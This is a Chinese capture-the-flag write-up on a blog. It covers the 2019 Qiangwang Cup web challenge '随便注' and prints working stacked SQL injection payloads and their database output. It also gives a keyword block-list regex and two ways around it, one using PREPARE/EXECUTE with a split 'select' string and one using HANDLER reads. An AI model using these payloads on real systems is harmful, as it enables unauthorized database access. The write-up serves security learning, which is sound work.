Akiba's blog Akiba's blog
首页
  • web

    • PHP
    • Python
    • JavaScript
  • misc

    • 隐写
  • 比赛
  • 网站
  • 资源
  • 分类
  • 标签
  • 归档
关于

Kagami

萌新 Web 手,菜鸡一个
首页
  • web

    • PHP
    • Python
    • JavaScript
  • misc

    • 隐写
  • 比赛
  • 网站
  • 资源
  • 分类
  • 标签
  • 归档
关于
  • TSCFT-J 2020 WriteUP
  • CTSC2021 writeup By Sakura
  • 巅峰极客2021 web部分
  • 第五空间 writeup By 天玑Phecda
  • 网信柏鹭杯web部分 by Sakura
  • 强网杯

    • 2019强网杯web
      • 随便注
        • 绕过select
  • WriteUp
  • 强网杯
Kagami
2021-07-29

2019强网杯web

# 随便注

知识点

  1. multi_query 导致的堆叠注入
  2. select|update|delete|drop|insert|where|. 过滤绕过:预处理

image-20210729201250939

随便试试,发现存在 sql 注入,单引号闭合。

1' 报错
1' and 1=1# 正常
1' and 1=2# 正常,无回显
1
2
3

看数据库 看表 1';show databases;show tables;--+

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

尝试 select ,发现被屏蔽

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1

# 绕过select

# sql预处理

sql预处理

SET;									# 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;	# 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;			 			# 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name;	# 用来释放掉预处理的语句
1
2
3
4
1';
SET @sql=CONCAT('se','lect * from `1919810931114514`;');
PREPARE stmt from @sql;
execute stmt;
1
2
3
4

# handler

HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。
1
2
3
4
5
6
7
8
9
10
11
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +
1
2
3
上次更新: 2021/08/02, 11:26:39
网信柏鹭杯web部分 by Sakura

← 网信柏鹭杯web部分 by Sakura

Theme by Vdoing | Copyright © 2020-2021 秋葉
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式